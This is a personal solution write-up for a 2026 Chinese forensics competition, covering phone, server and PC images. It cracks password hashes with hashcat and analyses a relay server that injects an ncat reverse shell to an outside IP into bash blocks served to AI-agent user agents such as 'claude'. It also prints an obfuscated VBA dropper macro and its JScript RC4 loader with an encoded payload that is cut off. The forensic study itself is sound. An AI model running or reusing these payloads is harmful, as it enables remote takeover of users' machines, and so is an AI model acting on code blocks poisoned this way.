2026年平航杯团队赛个人复现wp
2026年平航杯团队赛所有题目个人复现wp
早起王的手机
(5分)1. 分析早起王的手机,手机型号为?
查看PhoneInfo-1775206177238文件:

Pixel 6
(5分)2. 分析早起王的手机,早起王最近想旅行,结合高德地图搜索记录,他最可能去的景点是哪个?
查看高德地图搜索记录即可

西湖
(5分)3. 分析早起王的手机,早起王在什么时间加上倩倩微信的?
查看微信聊天记录

2026-03-30 15:13:08
(10分)4. 分析早起王的手机,倩倩在2026年3月30号吃了什么?
查看微信朋友圈记录

麻薯小蛋糕
倩倩的手机
(5分)5. 分析倩倩的手机,倩倩手机的系统版本是多少?
查看.info.json文件

6.0.0.380
(5分)6. 分析倩倩的手机,“舔狗”的微信内部ID是多少?
分析对话可知越过山丘(zqw)是倩倩的舔狗。

wxid_uh5tfx2zi8yh22
(5分)7. 分析倩倩的手机,倩倩曾给一位好友推荐游戏,这个好友叫什么名字?
查看便签文件

冰糖
(5分)8. 分析倩倩的手机结合逆向包,推荐的游戏叫什么?
根据后面解出的图片

zero sievert
(5分)9. 分析倩倩的手机,倩倩一共阅读过多少条搜狐新闻?
找搜狐新闻包com.sohu.harmonynews的路径,在这个路径下
备份.tar/com.sohu.harmonynews/com.sohu.harmonynews/data/storage/el2/database/entry/kvdb/2c77515efb1c9f5f9b5fdc9d2f78edae26e57c53dd63b19a9b0728f71f2aa42f/single_ver/main
显然文章记录不包括其中两个list

33
(15分)10. 分析倩倩手机逆向包,数据加密app的包名是什么?

com.koishi.fpt
(10分)11. 接上题,初始化app时需至少几位数的密码?
解包 app 后,在 ets/modules.abc 里搜字符串:密码

可以看到 “密码长度至少为6位”
6
(5分)12. 接上题,加密后的文件名的后缀是什么?
在里面随便找个加了密的文件

.tb
(5分)13. 接上题,app会自动识别几种后缀的文件为图片类型?

5
(5分)14. 接上题,app共从用于自定义加密的so模块导入了几个方法?
ida查看so文件

有两个,分别是:
rot13xorEncrypt
jadx也可以分析到,直接搜so即可

2
(5分)15. 接上题,app设置的密码是多少?
需要逆向app进行恢复密码,顺便解密被加密的文件。算法是魔改的rot13,其实是rot16。
在 com.koishi.fpt/haps/entry/preferences/vault_prefs 中发现 password_hash 为 217sr94q01679u39。
根据逆向得到的字符变换关系,将其中字母整体回退 16 位,恢复出真实设置密码为 217cb94a01679e39。
随后使用 vault_prefs 中保存的 password_hash 作为 xorEncrypt 的密钥,对 files 目录下的 .tb 文件进行解密:
out[i] = data[i] ^ ((key[i % len(key)] + (i % len(key))) & 0xff)

from pathlib import Path
import re
import json
# 改成你自己的手机数据目录
BASE = Path("com.koishi.fpt/haps/entry")
PREFS = BASE / "preferences" / "vault_prefs"
FILES = BASE / "files"
def read_prefs(prefs_path: Path):
data = prefs_path.read_text(encoding="utf-8", errors="ignore")
def get_value(key: str):
m = re.search(rf'<string key="{re.escape(key)}">(.*?)</string>', data)
return m.group(1) if m else None
return {
"password_hash": get_value("password_hash"),
"salt": get_value("salt"),
"raw_xml": data,
}
def shift_alpha(s: str, k: int) -> str:
"""
只平移字母,数字和其他字符不变
"""
out = []
for c in s:
o = ord(c)
if 65 <= o <= 90:
out.append(chr((o - 65 + k) % 26 + 65))
elif 97 <= o <= 122:
out.append(chr((o - 97 + k) % 26 + 97))
else:
out.append(c)
return "".join(out)
def recover_real_password(password_hash: str) -> str:
"""
本题中:
217sr94q01679u39 -> 217cb94a01679e39
即字母整体回退 16 位:
s -> c
r -> b
q -> a
u -> e
"""
return shift_alpha(password_hash, -16)
def xor_crypt(data: bytes, key: str) -> bytes:
"""
对应 so 里的 xorEncrypt 逻辑:
out[i] = data[i] ^ ((key[i % len(key)] + (i % len(key))) & 0xff)
本题里解密 .tb 时,key 用的是 vault_prefs 里的 password_hash
"""
key_b = key.encode()
n = len(key_b)
out = bytearray(len(data))
for i, b in enumerate(data):
out[i] = b ^ ((key_b[i % n] + (i % n)) & 0xFF)
return bytes(out)
def decrypt_all_tb(files_dir: Path, key: str, out_dir: Path):
out_dir.mkdir(parents=True, exist_ok=True)
outputs = []
for tb in files_dir.rglob("*.tb"):
plain = xor_crypt(tb.read_bytes(), key)
# 保留相对目录结构
rel = tb.relative_to(files_dir)
if rel.suffix == ".tb":
rel = rel.with_suffix("") # 去掉最后一个 .tb
else:
rel = Path(str(rel)[:-3])
out_path = out_dir / rel
out_path.parent.mkdir(parents=True, exist_ok=True)
out_path.write_bytes(plain)
outputs.append(out_path)
print(f"[+] decrypted: {tb} -> {out_path}")
return outputs
def try_read_json_note(note_path: Path):
if not note_path.exists():
return None
text = note_path.read_text(encoding="utf-8", errors="ignore")
print("\n[+] 解密后的笔记内容:")
print(text)
try:
obj = json.loads(text)
return obj
except Exception:
return None
def extract_flag_from_png(png_path: Path):
if not png_path.exists():
return None
data = png_path.read_bytes()
# 直接全文件搜索 flag
m = re.search(rb'flag\{[^}]+\}', data)
if m:
return m.group(0).decode(errors="ignore")
return None
def main():
prefs = read_prefs(PREFS)
password_hash = prefs["password_hash"]
salt = prefs["salt"]
if not password_hash:
raise ValueError("[-] vault_prefs 中没有找到 password_hash")
real_password = recover_real_password(password_hash)
print("[+] vault_prefs 中的 password_hash:", password_hash)
print("[+] salt:", salt)
print("[+] 恢复出的真实设置密码(第15题答案):", real_password)
# 关键点:解密 .tb 用的是 password_hash,不是 real_password
decrypt_key = password_hash
print("[+] 实际用于解密 .tb 的 key:", decrypt_key)
out_dir = Path("decrypted")
decrypt_all_tb(FILES, decrypt_key, out_dir)
# 门锁密码
note_path = out_dir / "notes" / "b88c3348-9389-4fad-8cd6-3490e6bbdd26.json"
note_obj = try_read_json_note(note_path)
if note_obj and "content" in note_obj:
print("\n[+] 门锁密码(第16题答案):", note_obj["content"])
# 提取隐藏 flag
png_path = out_dir / "vault" / "139346145_p0.png"
flag = extract_flag_from_png(png_path)
if flag:
print("\n[+] 隐藏 flag(第17题答案):", flag)
# 聊天截图路径
chat_img = out_dir / "vault" / "Snipaste_2026-04-03_10-56-53.jpg"
if chat_img.exists():
print("\n[+] 聊天截图已解出:", chat_img)
print("[+] 手动查看可得推荐游戏:zero sievert")
if __name__ == "__main__":
main()
217cb94a01679e39
(5分)16. 接上题,app中存储的门锁密码是多少?
解密tb文件,看json
{"id":"b88c3348-9389-4fad-8cd6-3490e6bbdd26","title":"门锁密码","content":"1472580369123","updatedAt":1775196161152}
1472580369123
(5分)17. 接上题,加密图片里面的隐藏的flag是多少?

flag{happy_forensics_2026!}
api服务器部分
(5分)18. 分析服务器镜像,内核版本为?
uname -r

6.8.0-107-generic
(5分)19. 分析服务器镜像,用户登录成功系统的次数为?


10次
(10分)20. 分析服务器镜像,redis数据库服务密码是多少?

zjjcxy
(5分)21. 分析服务器镜像,api站点后台管理员密码所用的加密算法为?
网站源码在/home/zaoqiwang/claude-relay-service

argon2
(10分)22. 分析服务器镜像,api站点后台管理员密码为(使用rockyou字典爆破,密码格式b1?????b,?为数字)?
用hashcat进行掩码爆破
hashcat.exe -m 34000 -a 3 "$argon2id$v=19$m=65536,t=3,p=1$k2++JvGxHI8i9DzqRXJx9A$jNviq0EPqLkMfIZZsA9RC6M9mClaXDxkSwCWYVZNx/Q" b1?d?d?d?d?db --status --status-timer 10

b123321b
(5分)23. 分析服务器镜像,登录api网站后台,后台通知设置里的超时事件(毫秒)为?
这里看样子要起网站服务,但是看docker未安装,最后发现是nodejs。
启动指令
cd /home/zaoqiwang/claude-relay-service
/home/zaoqiwang/.local/share/fnm/node-versions/v24.14.1/installation/bin/node src/app.js



114514
(10分)24. 分析服务器镜像,登录api网站后台,查询总Token消耗数量为?

474.2K
(5分)25. 分析服务器镜像,登录api网站后台,查询最早创建api key的时间为?
总共就六条

查看service.log,找到最早的一条

2026-04-01T11:11:07.535Z
(10分)26. 分析服务器镜像,编写脚本,通过调用inject_bash_blocks函数,确定恶意投毒的payload。(提示:输入一段包含bash块的文本)
接下来主要是分析bashBlockInjector.js,bash_block_injector.js和bash_block_injector_bg.wasm的逻辑
在 bashBlockInjector.js 中可以看到,外层逻辑最终会调用 _wasm.inject_bash_blocks(text);继续跟进到 bash_block_injector.js,可以确认这里真正导出了 inject_bash_blocks(text) 和 should_inject_for_ua(ua, ip) 两个函数,并且底层由 bash_block_injector_bg.wasm 实现。
其中 bashBlockInjector.js 只是上层封装,而真正需要分析的是 wasm 的 JS 包装层和 wasm 本体。尤其是 shouldInjectForUA 在外层只传了 ua,而底层导出函数实际需要 ua, ip 两个参数,因此后续实验应直接调用 wasm 包装层,而不是外层封装。
为了确认 inject_bash_blocks 的行为,只需要构造一段最简单的 bash fenced code block,观察函数输出相对输入新增了什么内容即可。这里采用“输入输出逐行对比”的方式提取注入内容。
const wasm = require('./bash_block_injector.js')
const input = '```bash\necho hello\n```'
const output = wasm.inject_bash_blocks(input)
console.log('输入:')
console.log(input)
console.log('\n输出:')
console.log(output)
console.log('\n新增行:')
const src = new Set(input.split('\n'))
for (const line of output.split('\n')) {
if (!src.has(line) && line.trim()) {
console.log(line)
}
}

ncat.exe 156.238.239.253 1314 -e powershell
(5分)27. 接上题,should_inject_for_ua(ua, ip)对UA字符串有过滤条件,只有特定UA才会进入后续判断。请编写脚本找出有几个UA头能使函数有机会返回true的UA关键词。
由于 should_inject_for_ua(ua, ip) 同时依赖 UA 和 IP,因此要想只测试 UA 条件,必须让 IP 条件恒成立。做法是:
- 每次使用一个全新的 IP
- 对同一 IP 连续调用两次
- 第一次用于写入时间戳
- 第二次几乎无延迟,此时时间条件必然满足
- 这样第二次是否命中,就只取决于 UA 过滤和概率门
如果某个 UA 连续做大量实验后命中次数始终为 0,则说明它没有进入后续判断;若命中次数大于 0,则说明该 UA 至少有机会通过前置过滤。
const wasm = require('./bash_block_injector.js')
const uas = [
'curl',
'openclaw',
'mozilla',
'wget',
'httpx',
'claude',
'requests',
'bot',
'crawler',
]
for (const ua of uas) {
let hits = 0
for (let i = 0; i < 1000; i++) {
const ip = `u.${i}.0.1`
wasm.should_inject_for_ua(ua, ip) // 第一次:写入时间戳
if (wasm.should_inject_for_ua(ua, ip)) hits++ // 第二次:立刻检测
}
console.log(ua, hits)
}

2
(5分)28. 接上题,只有当同一IP的上次请求距今足够近时,才会进入概率判断。请编写脚本确定这个时间窗口的阈值(单位:ms)。(保留整百)
这一问必须严格控制变量。如果在等待期间再次调用同一个 IP,那么时间戳会被刷新,实验就失去意义。因此我们对某一批全新 IP 先统一调用一次,写入时间戳,等待固定的 gap,再对同一批 IP 统一调用一次并统计命中数,每个 gap 使用独立的新 IP 集合,避免互相影响。
由于 JS 包装层里导入了 Date.now(),可以推断这里的时间判断粒度实际是毫秒级,而不是纳秒级。因此直接在 0ms 到 1000ms 之间做枚举探测即可。
const wasm = require('./bash_block_injector.js')
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms))
}
async function main() {
const gaps = [0, 50, 100, 150, 200, 250, 300, 350, 400, 430, 450, 460, 470, 480, 490, 495, 499, 500, 501, 510, 520, 600, 800, 1000]
const N = 500
for (const gap of gaps) {
for (let i = 0; i < N; i++) {
wasm.should_inject_for_ua('claude', `g.${gap}.${i}.0`)
}
await sleep(gap)
let hits = 0
for (let i = 0; i < N; i++) {
if (wasm.should_inject_for_ua('claude', `g.${gap}.${i}.0`)) hits++
}
console.log(gap, hits)
}
}
main()

真实临界点约为 495ms,按题目要求取整后应填写500ms
500
(5分)29. 接上题,在UA条件和IP时间条件均满足的前提下,函数仍有一定概率返回false。请编写脚本估算触发概率,并推算概率1/N(即理论上平均每N次满足前两个条件的调用才触发一次)。
在第 27 问和第 28 问的基础上,已经知道:UA 选用 claude 可通过 UA 条件以及对同一 IP 连续两次调用可满足时间条件
因此接下来只需大量重复这一“有效检测”过程,统计第二次调用返回 true 的比例,就能估算概率门的触发概率。
const wasm = require('./bash_block_injector.js')
let hits = 0
const N = 50000
for (let i = 0; i < N; i++) {
const ip = `p.${i}.0.1`
wasm.should_inject_for_ua('claude', ip) // 第一次:写入时间戳
if (wasm.should_inject_for_ua('claude', ip)) hits++ // 第二次:有效检测
}
const rate = hits / N
console.log('hits =', hits)
console.log('rate =', rate)
console.log('1/N =', 1 / rate)
console.log('rounded10 =', Math.round((1 / rate) / 10) * 10)

50
早起王的PC镜像
(5分)30. 请分析早起王的PC镜像,计算机系统Build版本是什么?

19045.6466
(5分)31. 请分析早起王的PC镜像,用户“深情专一沼气王:她是我的生死劫”的登陆密码LM哈希值后六位?

1404ee
(15分)32. 请分析早起王的PC镜像,沼气王的桌面有本日记,请问沼气王暗恋对象的生日为?
输错几次密码得到提示

用该网站提取哈希然后用hashcat爆破
https://hashes.com/zh/johntheripper
hashcat.exe -m 9400 -a 3 "$office$*2007*20*128*16*227f374a6f8fbccc79c7abfe8636ba42*6e9cc0c97f80b20beb97b9afa0c8e448*1fc206f85ba721fb80b93c6bbb8308971caa29fe" -1 ?l?u?d ?1?1?1?1?104


03月24日
(15分)33. 请分析早起王的PC镜像,早起王受到过一封邮件,请找出邮件中确写的秘密。
查看收信箱

见过这个隐写,是垃圾邮件隐写

12点,老地方
(5分)34. 请分析早起王的PC镜像,VeraCrypt容器的外层密码是什么?
看utools的note

qq520250520250520250
容器在document文件夹的“感谢特别邀请 来见证你的爱情.txt”,挂载在G盘

(15分)35. 请分析早起王的PC镜像,早起王设置了一个AI女友,并自行导入过一个角色模型,该模型的原始文件名为?

在容器里面,打开AIRI也可以对上
MANUKA.vrm
(15分)36. 请分析早起王的PC镜像,AI女友使用的模型是什么?

qwen/qwen3.5-flash-02-23
(15分)37. 请分析早起王的PC镜像,该PC中有一个离线大模型软件,其上次对话使用的模型是?
lmstudio打开

qwen2.5-coder-14b-instruct
(5分)38. 请分析早起王的PC镜像,早起王曾删除一个MD5值为49B367AC261A722A7C2BBBC328C32545的恶意文件,请尝试数据恢复并找到其文件名?
这里由于虚拟机很卡,我把“感谢特别邀请 来见证你的爱情.txt”导出在本机进行挂载,用隐藏密钥‘woaizaoqiwoshenqingzhuanyi’

访问发现文件夹为空(?)猜测文件是被删掉了,进行数据恢复

用diskgenius进行数据恢复:

文件名和题目说的md5值一样,保险起见再进行哈希计算

49b367ac261a722a7c2bbbc328c32545
(5分)39. 接上题,该文件中有多个流(streams)包含宏。请提供其中编号最小的一个。
先枚举 OLE 文档里的所有流,找出哪些流带宏。
python .\oledump.py .\49b367ac261a722a7c2bbbc328c32545

8
(5分)40. 接上题,混淆代码的解密密钥是什么?
再把最小编号的宏流导出来看。
C:\Users\28421\Desktop\PHB复现\PHB\文件文档_20260415_214758\火眼-文件导出>python .\oledump.py .\49b367ac261a722a7c2bbbc328c32545
1: 114 '\x01CompObj'
2: 284 '\x05DocumentSummaryInformation'
3: 392 '\x05SummaryInformation'
4: 8017 '1Table'
5: 4096 'Data'
6: 483 'Macros/PROJECT'
7: 65 'Macros/PROJECTwm'
8: M 7117 'Macros/VBA/Module1'
9: m 1104 'Macros/VBA/ThisDocument'
10: 3467 'Macros/VBA/_VBA_PROJECT'
11: 2964 'Macros/VBA/__SRP_0'
12: 195 'Macros/VBA/__SRP_1'
13: 2717 'Macros/VBA/__SRP_2'
14: 290 'Macros/VBA/__SRP_3'
15: 565 'Macros/VBA/dir'
16: 76 'ObjectPool/_1541577328/\x01CompObj'
17: O 20301 'ObjectPool/_1541577328/\x01Ole10Native'
18: 5000 'ObjectPool/_1541577328/\x03EPRINT'
19: 6 'ObjectPool/_1541577328/\x03ObjInfo'
20: 133755 'WordDocument'
C:\Users\28421\Desktop\PHB复现\PHB\文件文档_20260415_214758\火眼-文件导出>python .\oledump.py -s 8 -v .\49b367ac261a722a7c2bbbc328c32545
Attribute VB_Name = "Module1"
Public OBKHLrC3vEDjVL As String
Public B8qen2T433Ds1bW As String
Function Q7JOhn5pIl648L6V43V(EjqtNRKMRiVtiQbSblq67() As Byte, M5wI32R3VF2g5B21EK4d As Long) As Boolean
Dim THQNfU76nlSbtJ5nX8LY6 As Byte
THQNfU76nlSbtJ5nX8LY6 = 45
For i = 0 To M5wI32R3VF2g5B21EK4d - 1
EjqtNRKMRiVtiQbSblq67(i) = EjqtNRKMRiVtiQbSblq67(i) Xor THQNfU76nlSbtJ5nX8LY6
THQNfU76nlSbtJ5nX8LY6 = ((THQNfU76nlSbtJ5nX8LY6 Xor 99) Xor (i Mod 254))
Next i
Q7JOhn5pIl648L6V43V = True
End Function
Sub AutoClose()
On Error Resume Next
Kill OBKHLrC3vEDjVL
On Error Resume Next
Set R7Ks7ug4hRR2weOy7 = CreateObject("Scripting.FileSystemObject")
R7Ks7ug4hRR2weOy7.DeleteFile B8qen2T433Ds1bW & "\*.*", True
Set R7Ks7ug4hRR2weOy7 = Nothing
End Sub
Sub AutoOpen()
On Error GoTo MnOWqnnpKXfRO
Dim NEnrKxf8l511
Dim N18Eoi6OG6T2rNoVl41W As Long
Dim M5wI32R3VF2g5B21EK4d As Long
N18Eoi6OG6T2rNoVl41W = FileLen(ActiveDocument.FullName)
NEnrKxf8l511 = FreeFile
Open (ActiveDocument.FullName) For Binary As #NEnrKxf8l511
Dim E2kvpmR17SI() As Byte
ReDim E2kvpmR17SI(N18Eoi6OG6T2rNoVl41W)
Get #NEnrKxf8l511, 1, E2kvpmR17SI
Dim KqG31PcgwTc2oL47hjd7Oi As String
KqG31PcgwTc2oL47hjd7Oi = StrConv(E2kvpmR17SI, vbUnicode)
Dim N34rtRBIU3yJO2cmMVu, I4j833DS5SFd34L3gwYQD
Dim VUy5oj112fLw51h6S
Set VUy5oj112fLw51h6S = CreateObject("vbscript.regexp")
VUy5oj112fLw51h6S.Pattern = "MxOH8pcrlepD3SRfF5ffVTy86Xe41L2qLnqTd5d5R7Iq87mWGES55fswgG84hIRdX74dlb1SiFOkR1Hh"
Set I4j833DS5SFd34L3gwYQD = VUy5oj112fLw51h6S.Execute(KqG31PcgwTc2oL47hjd7Oi)
Dim Y5t4Ul7o385qK4YDhr
If I4j833DS5SFd34L3gwYQD.Count = 0 Then
GoTo MnOWqnnpKXfRO
End If
For Each N34rtRBIU3yJO2cmMVu In I4j833DS5SFd34L3gwYQD
Y5t4Ul7o385qK4YDhr = N34rtRBIU3yJO2cmMVu.FirstIndex
Exit For
Next
Dim Wk4o3X7x1134j() As Byte
Dim KDXl18qY4rcT As Long
KDXl18qY4rcT = 16827
ReDim Wk4o3X7x1134j(KDXl18qY4rcT)
Get #NEnrKxf8l511, Y5t4Ul7o385qK4YDhr + 81, Wk4o3X7x1134j
If Not Q7JOhn5pIl648L6V43V(Wk4o3X7x1134j(), KDXl18qY4rcT + 1) Then
GoTo MnOWqnnpKXfRO
End If
B8qen2T433Ds1bW = Environ("appdata") & "\Microsoft\Windows"
Set R7Ks7ug4hRR2weOy7 = CreateObject("Scripting.FileSystemObject")
If Not R7Ks7ug4hRR2weOy7.FolderExists(B8qen2T433Ds1bW) Then
B8qen2T433Ds1bW = Environ("appdata")
End If
Set R7Ks7ug4hRR2weOy7 = Nothing
Dim K764B5Ph46Vh
K764B5Ph46Vh = FreeFile
OBKHLrC3vEDjVL = B8qen2T433Ds1bW & "\" & "maintools.js"
Open (OBKHLrC3vEDjVL) For Binary As #K764B5Ph46Vh
Put #K764B5Ph46Vh, 1, Wk4o3X7x1134j
Close #K764B5Ph46Vh
Erase Wk4o3X7x1134j
Set R66BpJMgxXBo2h = CreateObject("WScript.Shell")
R66BpJMgxXBo2h.Run """" + OBKHLrC3vEDjVL + """" + " EzZETcSXyKAdF_e5I2i1"
ActiveDocument.Save
Exit Sub
MnOWqnnpKXfRO:
Close #K764B5Ph46Vh
ActiveDocument.Save
End Sub
VBA 先把文档里的隐藏数据用滚动 XOR 解出来,写成 maintools.js,然后执行:
R66BpJMgxXBo2h.Run """" + OBKHLrC3vEDjVL + """" + " EzZETcSXyKAdF_e5I2i1"
而 maintools.js 开头又写着:
var wvy1 = WScript.Arguments; var ssWZ = wvy1(0); var ES3c = y3zb(); ES3c = LXv5(ES3c); ES3c = CpPT(ssWZ,ES3c); eval(ES3c);
说明真正传入脚本、并用于下一层解密的密钥是 EzZETcSXyKAdF_e5I2i1
EzZETcSXyKAdF_e5I2i1
(5分)41. 接上题,释放并删除的文件是什么?
VBA 里:
OBKHLrC3vEDjVL = B8qen2T433Ds1bW & "\" & "maintools.js" Open (OBKHLrC3vEDjVL) For Binary As #K764B5Ph46Vh Put #K764B5Ph46Vh, 1, Wk4o3X7x1134j
文档关闭时:
Kill OBKHLrC3vEDjVL
所以释放并删除的就是 maintools.js。
maintools.js
(5分)42. 接上题,该文件用的是什么语言?
文件名是 maintools.js,内容里用的是 WScript、ActiveXObject、MSXML2.XMLHTTP 这些 WSH 对象,不是浏览器环境,所以它是 Windows Script Host 下的 JScript
JScript
(5分)43. 接上题,分配给命令行参数的变量叫什么名字?
stage1_maintools.js
try{var wvy1 = WScript.Arguments;var ssWZ = wvy1(0);var ES3c = y3zb();ES3c = LXv5(ES3c);ES3c = CpPT(ssWZ,ES3c);eval(ES3c);
}catch (e)
{WScript.Quit();}function MTvK(CgqD){var XwH7 = CgqD.charCodeAt(0);if (XwH7 === 0x2B || XwH7 === 0x2D) return 62
if (XwH7 === 0x2F || XwH7 === 0x5F) return 63
if (XwH7 < 0x30) return -1
if (XwH7 < 0x30 + 10) return XwH7 - 0x30 + 26 + 26
if (XwH7 < 0x41 + 26) return XwH7 - 0x41
if (XwH7 < 0x61 + 26) return XwH7 - 0x61 + 26
}function LXv5(d27x){var LUK7 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";var i;var j;var n6T8;if (d27x.length % 4 > 0)
return;var CHlB = d27x.length;var V8eR = d27x.charAt(CHlB - 2) === '=' ? 2 : d27x.charAt(CHlB - 1) === '=' ? 1 : 0
var mjqo = new Array(d27x.length * 3 / 4 - V8eR);var z8Ht = V8eR > 0 ? d27x.length - 4 : d27x.length;var t2JG = 0;function XGH6 (b0tQ){mjqo[t2JG++] = b0tQ;}for (i = 0,j = 0; i < z8Ht; i += 4,j += 3){n6T8 = (MTvK(d27x.charAt(i)) << 18) | (MTvK(d27x.charAt(i + 1)) << 12) | (MTvK(d27x.charAt(i + 2)) << 6) | MTvK(d27x.charAt(i + 3));XGH6((n6T8 & 0xFF0000) >> 16)
XGH6((n6T8 & 0xFF00) >> 8)
XGH6(n6T8 & 0xFF)
}if (V8eR === 2){n6T8 = (MTvK(d27x.charAt(i)) << 2) | (MTvK(d27x.charAt(i + 1)) >> 4)
XGH6(n6T8 & 0xFF)
}else if (V8eR === 1){n6T8 = (MTvK(d27x.charAt(i)) << 10) | (MTvK(d27x.charAt(i + 1)) << 4) | (MTvK(d27x.charAt(i + 2)) >> 2)
XGH6((n6T8 >> 8) & 0xFF)
XGH6(n6T8 & 0xFF)
}return mjqo
}function CpPT(bOe3,F5vZ)
{var AWy7 = [];var V2Vl = 0;var qyCq;var mjqo = '';for (var i = 0; i < 256; i++)
{AWy7[i] = i;}for (var i = 0; i < 256; i++)
{V2Vl = (V2Vl + AWy7[i] + bOe3.charCodeAt(i % bOe3.length)) % 256;qyCq = AWy7[i];AWy7[i] = AWy7[V2Vl];AWy7[V2Vl] = qyCq;}var i = 0;var V2Vl = 0;for (var y = 0; y < F5vZ.length; y++)
{i = (i + 1) % 256;V2Vl = (V2Vl + AWy7[i]) % 256;qyCq = AWy7[i];AWy7[i] = AWy7[V2Vl];AWy7[V2Vl] = qyCq;mjqo += String.fromCharCode(F5vZ[y] ^ AWy7[(AWy7[i] + AWy7[V2Vl]) % 256]);}return mjqo;}function y3zb()
{var qGxZ = "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